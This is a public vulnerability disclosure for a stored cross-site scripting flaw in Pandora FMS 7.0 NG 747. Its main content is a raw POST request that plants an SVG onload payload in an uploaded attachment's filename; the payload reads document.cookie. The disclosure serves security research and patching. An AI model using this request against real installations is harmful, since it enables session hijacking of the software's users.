PandoraFMS NG747 7.0 – ‘filename’ Persistent Cross-Site Scripting
# Exploit Title: PandoraFMS NG747 7.0 - 'filename' Persistent Cross-Site Scripting # Date: 2020-08-20 # Exploit Author: Emre ÖVÜNÇ # Vendor Homepage: https://pandorafms.org/ # Software Link: https://pandorafms.org/features/free-download-monitoring-software/ # Version: 7.0NG747 # Tested on: Windows/Linux/ISO # Link https://github.com/EmreOvunc/Pandora-FMS-7.0-NG-747-Stored-XSS # Description A stored cross-site scripting (XSS) in Pandora FMS 7.0 NG 747 can result in an attacker performing malicious actions to users who open a maliciously crafted link or third-party web page. (Workspace >> Issues >> List of issues >> Add - Attachment) # PoC To exploit vulnerability, someone could use a POST request to '/pandora_console/index.php' by manipulating 'filename' parameter in the request body to impact users who open a maliciously crafted link or third-party web page. POST /pandora_console/index.php?sec=workspace&sec2=operation/incidents/incident_detail&id=3&upload_file=1 HTTP/1.1 Host: [HOST] User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------188134206132629608391758747427 Content-Length: 524 DNT: 1 Connection: close Cookie: PHPSESSID=3098fl65su4l237navvq6d5igs Upgrade-Insecure-Requests: 1 -----------------------------188134206132629608391758747427 Content-Disposition: form-data; name="userfile"; filename="\"><svg onload=alert(document.cookie)>.png" Content-Type: image/png "><svg onload=alert(1)> -----------------------------188134206132629608391758747427 Content-Disposition: form-data; name="file_description" desc -----------------------------188134206132629608391758747427 Content-Disposition: form-data; name="upload" Upload -----------------------------188134206132629608391758747427-- |